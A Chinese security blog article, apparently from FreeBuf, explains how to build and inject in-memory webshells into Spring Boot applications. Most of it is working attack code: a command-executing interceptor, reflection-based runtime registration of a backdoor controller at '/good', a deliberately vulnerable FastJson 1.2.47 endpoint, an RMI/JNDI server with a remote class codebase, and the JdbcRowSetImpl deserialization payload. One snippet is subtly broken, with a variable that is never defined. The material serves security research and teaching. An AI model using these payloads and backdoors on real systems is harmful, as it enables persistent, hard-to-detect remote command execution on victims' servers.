freeBuf
主站

分类

云安全 AI安全 开发安全 终端安全 数据安全 Web安全 基础安全 企业安全 关基安全 移动安全 系统安全 其他安全

特色

热点 工具 漏洞 人物志 活动 安全招聘 攻防演练 政策法规
深入浅出内存马(二)
2021-09-09 10:28:51

深入浅出内存马(二)

0x01 前言

在上一篇文章中深入浅出内存马(一),我介绍了基于TomcatFilter内存马,不光是Filterlistenerservletcontroller等不同形式的内存马。但如今企业开发过程中,大部分使用的都是spring系列的框架进行开发,特别是SpringBoot,现在基本是企业开发的标配。所以探讨Spring系列下的内存马就显得非常必要了。

今天我们就来研究研究Spring Boot下的内存马实现。

0x02 需求

随着微服务部署技术的迭代演进,大型业务系统在到达真正的应用服务器的时候,会经过一些系列的网关,复杂均衡,防火墙。所以如果你新建的shell路由不在这些网关的白名单中,那么就很有可能无法访问到,在到达应用服务器之前就会被丢弃,我们该如何解决这个问题?

所以,在注入内存马的时候,就尽量不要用新建的路由,或者shell地址。最好是在访问正常的业务地址之前,就能执行我们的代码。


根据这个文章里面的说法基于内存 Webshell 的无文件攻击技术研究

在经过一番文档查阅和源码阅读后,发现可能有不止一种方法可以达到以上效果。其中通用的技术点主要有以下几个:

  1. 在不使用注解和修改配置文件的情况下,使用纯 java 代码来获得当前代码运行时的上下文环境;

  2. 在不使用注解和修改配置文件的情况下,使用纯 java 代码在上下文环境中手动注册一个 controller;

  3. controller 中写入 Webshell 逻辑,达到和 Webshell 的 URL 进行交互回显的效果;

0x03 SpringBoot的生命周期

为了满足上面的需求,我们需要了解SpringBoot的生命周期,我们需要研究的是:一个请求到到应用层之前,需要经过那几个部分?是如何一步一步到到我们的Controller的?

我们用IDEA来搭建一个SpingBoot2 的环境

1631153636_61396de40880baaede3e2.png!small

访问地址:

1631153649_61396df1760022c1a3f87.png!small


我们还是把断点打在org.apache.catalina.core.ApplicationFilterChain中的internalDoFilter方法中

1631153660_61396dfc981883679de17.png!small

可以看到整个执行流程

1631153684_61396e14b2275f771ea27.png!small


这部分在上一篇文章中已经详细描述过,这里不在赘述。

但是这里不同的是在经过 Filter 层面处理后,就会进入熟悉的spring-webmvc组件org.springframework.web.servlet.DispatcherServlet类的doDispatch方法中。

1631153704_61396e288b0d8ae6f89ca.png!small

跟进去这个方法

1631153732_61396e447166ae0067919.png!small

可以看到是遍历this.handlerMappings这个迭代器中的mappergetHandler方法处理Http中的request请求。

继续追踪,最终会调用到org.springframework.web.servlet.handler.AbstractHandlerMapping类的getHandler方法,并通过getHandlerExecutionChain(handler, request)方法返回HandlerExecutionChain类的实例。

1631153748_61396e54e4644af3aa544.png!small


继续跟进getHandlerExecutionChain方法,

1631153763_61396e6387445c17bcd2e.png!small


protected HandlerExecutionChain getHandlerExecutionChain(Object handler, HttpServletRequest request) {
HandlerExecutionChain chain = handler instanceof HandlerExecutionChain ? (HandlerExecutionChain)handler : new HandlerExecutionChain(handler);
Iterator var4 = this.adaptedInterceptors.iterator();

while(var4.hasNext()) {
HandlerInterceptor interceptor = (HandlerInterceptor)var4.next();
if (interceptor instanceof MappedInterceptor) {
MappedInterceptor mappedInterceptor = (MappedInterceptor)interceptor;
if (mappedInterceptor.matches(request)) {
chain.addInterceptor(mappedInterceptor.getInterceptor());
}
} else {
chain.addInterceptor(interceptor);
}
}
//返回的是HandlerExecutonChain,这里包含了所有的拦截器
return chain;
}

好了,现在我们知道程序在哪里加入的拦截器(interceptor)后,追踪到这行代码

if (!mappedHandler.applyPreHandle(processedRequest, response)) {
return;
}

跟进之后发现interceptor.preHandle(request, response, this.handler)会遍历拦截器,并执行其preHandle方法。

1631153792_61396e8070ac05943bc2e.png!small


如果程序提前在调用的Controller上设置了Aspect(切面),那么在正式调用Controller前实际上会先调用切面的代码,一定程度上也起到了 "拦截" 的效果。

那么总结一下,一个 request 发送到 spring 应用,大概会经过以下几个层面才会到达处理业务逻辑的 Controller 层:

HttpRequest --> Filter --> DispactherServlet --> Interceptor --> Aspect --> Controller


0x04 拦截器Interceptor的理论探索

Interceptor来拦截所有进入Controller的 http 请求理论上是可行的,接下来就是实现从代码层面动态注入一个Interceptor来达到webshell的效果。

可以通过继承HandlerInterceptorAdapter类或者HandlerInterceptor类并重写其 preHandle 方法实现拦截。preHandle是请求执行前执行,preHandle 方法中写一些拦截的处理,比如下面,当请求参数中带 id 时进行拦截,并写入字符串 InterceptorTest OK! 到 response。

0x0401 模拟真实业务

真实业务,这里模拟一个登录场景,登录成功返回login success。

package com.evalshell.springboot.web;

import com.evalshell.springboot.model.User;
import org.springframework.beans.factory.annotation.Autowired;
import org.springframework.stereotype.Controller;
import org.springframework.web.bind.annotation.RequestMapping;
import org.springframework.web.bind.annotation.ResponseBody;

import javax.servlet.http.HttpServletRequest;

@Controller
@RequestMapping(value = "/user")
public class UserCrotroller {

@RequestMapping(value = "/login")
public @ResponseBody Object login(HttpServletRequest request){
//简单模拟登录成功
//实体类User 我就不赘述了,就是有2个属性。并实现getter和setter 构造器方法
User user = new User();
user.setAge(18);
user.setName("jack");
request.getSession().setAttribute("user", user);
return "login success";
}
}


0x0402 编写自定义的Interceptor


package com.evalshell.springboot.interceptor;

import org.springframework.web.servlet.HandlerInterceptor;
import org.springframework.web.servlet.ModelAndView;

import javax.servlet.http.HttpServletRequest;
import javax.servlet.http.HttpServletResponse;

public class VulInterceptor implements HandlerInterceptor {
@Override
public boolean preHandle(HttpServletRequest request, HttpServletResponse response, Object handler) throws Exception {
String code = request.getParameter("code");
if(code != null){
try {
java.io.PrintWriter writer = response.getWriter();
ProcessBuilder p;
if(System.getProperty("os.name").toLowerCase().contains("win")){
p = new ProcessBuilder(new String[]{"cmd.exe", "/c", code});
}else{
System.out.println(code);
p = new ProcessBuilder(new String[]{"/bin/bash", "-c", code});
}
builder.redirectErrorStream(true);
Process p = builder.start();
BufferedReader r = new BufferedReader(new InputStreamReader(p.getInputStream()));
String result = r.readLine();
System.out.println(result);
writer.println(result);
writer.flush();
writer.close();
}catch (Exception e){
}
return false;
}
return true;
}

@Override
public void postHandle(HttpServletRequest request, HttpServletResponse response, Object handler, ModelAndView modelAndView) throws Exception {
HandlerInterceptor.super.postHandle(request, response, handler, modelAndView);
}

@Override
public void afterCompletion(HttpServletRequest request, HttpServletResponse response, Object handler, Exception ex) throws Exception {
HandlerInterceptor.super.afterCompletion(request, response, handler, ex);
}
}

0x0403 注册拦截器

实现拦截器后还需要将拦截器注册到spring容器中,可以通过implements WebMvcConfigurer,覆盖其addInterceptors(InterceptorRegistry registry)方法

package com.evalshell.springboot.config;

import com.evalshell.springboot.interceptor.VulInterceptor;
import org.springframework.context.annotation.Configuration;
import org.springframework.web.servlet.config.annotation.InterceptorRegistry;
import org.springframework.web.servlet.config.annotation.WebMvcConfigurer;

@Configuration
public class InterceptorConfig implements WebMvcConfigurer {
@Override
public void addInterceptors(InterceptorRegistry registry) {
//这里是配置需要拦截的路由
String[] VulPathPatterns = {"/user/login"};

registry.addInterceptor(new VulInterceptor()).addPathPatterns(VulPathPatterns);
}
}


视频1

https://mp.weixin.qq.com/s?__biz=MzI5MDE0MjQ1NQ==&mid=2247512237&idx=1&sn=2ea686a88f9c8aa0b111d334067a21ff&chksm=ec269135db5118235e42cc18a543c9d3507042d52bcf31b068d4e4e69d09d71ee9e58544e1d5&token=1967312604&lang=zh_CN#rd

可以看到达到的效果是访问正常路由,不会影响正常业务。如果是带有code的参数会执行code里面的代码,从而突破网关的限制。

那么我们现在已经明白了如何在springboot中进行拦截,并执行我们的内存马,但是还是有一个问题,如何注入我们的内存马?

在这里根据landgrey大佬的思路:

spring boot 初始化过程中会往org.springframework.context.support.LiveBeansView类的applicationContexts属性中添加org.springframework.boot.web.servlet.context.AnnotationConfigServletWebServerApplicationContext类的对象。 bean 实例名字是requestMappingHandlerMapping或者比较老版本的DefaultAnnotationHandlerMapping。那么获取adaptedInterceptors属性值就比较简单了:

org.springframework.web.servlet.handler.AbstractHandlerMapping abstractHandlerMapping = (org.springframework.web.servlet.handler.AbstractHandlerMapping)context.getBean("requestMappingHandlerMapping");
java.lang.reflect.Field field = org.springframework.web.servlet.handler.AbstractHandlerMapping.class.getDeclaredField("adaptedInterceptors");
field.setAccessible(true);
java.util.ArrayList<Object> adaptedInterceptors = (java.util.ArrayList<Object>)field.get(abstractHandlerMapping);

我总结下就是:

  • 首先获取应用的上下文环境,也就是ApplicationContext

  • 然后从ApplicationContext中获取AbstractHandlerMapping实例(用于反射)

  • 反射获取AbstractHandlerMapping类的adaptedInterceptors字段

  • 通过adaptedInterceptors注册拦截器

0x05 实战

为了方便搭建环境,我们采用FastJson 1.2.47的RCE来创造反序列化漏洞利用点,我们在pom.xml中配置好我们的依赖,

<dependencies>
<!-- 配置fastjson -->
<dependency>
<groupId>com.alibaba</groupId>
<artifactId>fastjson</artifactId>
<version>1.2.47</version>
</dependency>
<!-- 配置springboot2 ,小编使用的是2.5.3的版本-->
<dependency>
<groupId>org.springframework.boot</groupId>
<artifactId>spring-boot-starter-web</artifactId>
</dependency>
</dependencies>

手动创建一个FastJson的利用点,因为在JDK 6u211,7u201, 8u191, 11.0.1之后com.sun.jndi.ldap.object.trustURLCodebase属性的默认值被调整为false,我这里是用了JDK 1.8u102。

@Controller
public class VulController {

@RequestMapping(value = "/unserializer")
@ResponseBody
public String unserializer(@RequestParam String code){
JSON.parse(code);
return "unserializer";
}
}

创建RMI服务器

package com.evalshell.server;

import com.sun.jndi.rmi.registry.ReferenceWrapper;
import javax.naming.Reference;
import java.rmi.registry.LocateRegistry;
import java.rmi.registry.Registry;

public class JNDIServer {
public static void main(String[] args) throws Exception {
Registry registry = LocateRegistry.createRegistry(1099);
Reference reference = new Reference("TouchFile",
"com.evalshell.server.TouchFile","http://127.0.0.1:8083/");
ReferenceWrapper referenceWrapper = new ReferenceWrapper(reference);
registry.bind("Exploit", referenceWrapper);
}
}

创建恶意代码

package com.evalshell.server;
import java.lang.Runtime;
import java.lang.Process;

public class TouchFile {
static {
try {
Runtime rt = Runtime.getRuntime();
String[] commands = {"open", "/System/Applications/Calculator.app"};
Process pc = rt.exec(commands);
pc.waitFor();
} catch (Exception e) {
// do nothing
}
}
}

启动JNDIServer,端口启动在了1099

在TouchFile的编译后的类路径下,开启web服务,提供恶意类文件的http下载服务,这个端口必须和上面的JNDIServer中配置的一致。

1631153889_61396ee1c2a2080b6466a.png!small


我们使用FastJson的Payload进行攻击

{
"a":{
"@type":"java.lang.Class",
"val":"com.sun.rowset.JdbcRowSetImpl"
},
"b":{
"@type":"com.sun.rowset.JdbcRowSetImpl",
"dataSourceName":"rmi://127.0.0.1:1099/TouchFile",
"autoCommit":true
}
}

用postman请求,攻击成功的话,就会弹出计算器,表示可以执行任意命令。

1631154023_61396f6761bd2f21e84e7.png!small

好的,上述已经搭建起一个Fastjson的漏洞环境。

使用上述方法编写拦截器内存马:

package com.evalshell.server;
import org.springframework.web.context.WebApplicationContext;
import org.springframework.web.context.request.RequestContextHolder;
import org.springframework.web.context.request.ServletRequestAttributes;
import org.springframework.web.servlet.handler.AbstractHandlerMethodMapping;
import org.springframework.web.servlet.mvc.condition.PatternsRequestCondition;
import org.springframework.web.servlet.mvc.condition.RequestMethodsRequestCondition;
import org.springframework.web.servlet.mvc.method.RequestMappingInfo;
import org.springframework.web.servlet.mvc.method.annotation.RequestMappingHandlerMapping;

import javax.servlet.http.HttpServletRequest;
import javax.servlet.http.HttpServletResponse;
import java.io.IOException;
import java.lang.reflect.InvocationTargetException;
import java.lang.reflect.Method;
public class Evil {
public Evil() throws Exception{
// 关于获取Context的方式有多种
WebApplicationContext context = (WebApplicationContext) RequestContextHolder.
currentRequestAttributes().getAttribute("org.springframework.web.servlet.DispatcherServlet.CONTEXT", 0);
RequestMappingHandlerMapping mappingHandlerMapping = context.getBean(RequestMappingHandlerMapping.class);
Method method = Class.forName("org.springframework.web.servlet.handler.AbstractHandlerMethodMapping").getDeclaredMethod("getMappingRegistry");
method.setAccessible(true);
// 通过反射获得该类的test方法
Method method2 = Evil.class.getMethod("test");
// 定义该controller的path
PatternsRequestCondition url = new PatternsRequestCondition("/good");
// 定义允许访问的HTTP方法
RequestMethodsRequestCondition ms = new RequestMethodsRequestCondition();
// 构造注册信息
RequestMappingInfo info = new RequestMappingInfo(url, ms, null, null, null, null, null);
// 创建用于处理请求的对象,避免无限循环使用另一个构造方法
Evil injectToController = new Evil("aaa");
// 将该controller注册到Spring容器
mappingHandlerMapping.registerMapping(info, injectToController, method2);
}

private Evil(String aaa) {
}

public void test() throws IOException {
// 获取请求
HttpServletRequest request = ((ServletRequestAttributes) (RequestContextHolder.currentRequestAttributes())).getRequest();
// 获取请求的参数cmd并执行
// 类似于PHP的system($_GET["cmd"])
Runtime.getRuntime().exec(request.getParameter("cmd"));
}

}

同时修改JNDIServer类中的代码

Reference reference = new Reference("VulClass", "com.evalshell.server.VulClass","http://127.0.0.1:8083/");替换成Reference reference = new Reference("Evil","com.evalshell.server.Evil","http://127.0.0.1:8083/");


至此,我们已经完成SpringBoot下的无文件内存马的实现!

0x06 参考

https://landgrey.me/blog/19/

https://www.anquanke.com/post/id/198886#h2-0

https://evalshell.com/

# 网络安全技术
免责声明
1.一般免责声明:本文所提供的技术信息仅供参考,不构成任何专业建议。读者应根据自身情况谨慎使用且应遵守《中华人民共和国网络安全法》,作者及发布平台不对因使用本文信息而导致的任何直接或间接责任或损失负责。
2. 适用性声明:文中技术内容可能不适用于所有情况或系统,在实际应用前请充分测试和评估。若因使用不当造成的任何问题,相关方不承担责任。
3. 更新声明:技术发展迅速,文章内容可能存在滞后性。读者需自行判断信息的时效性,因依据过时内容产生的后果,作者及发布平台不承担责任。
本文为 独立观点,未经授权禁止转载。
如需授权、对文章有疑问或需删除稿件,请联系 FreeBuf 客服小蜜蜂(微信:freebee1024)
被以下专辑收录,发现更多精彩内容
+ 收入我的专辑
+ 加入我的收藏
相关推荐
  • 0 文章数
  • 0 关注者
文章目录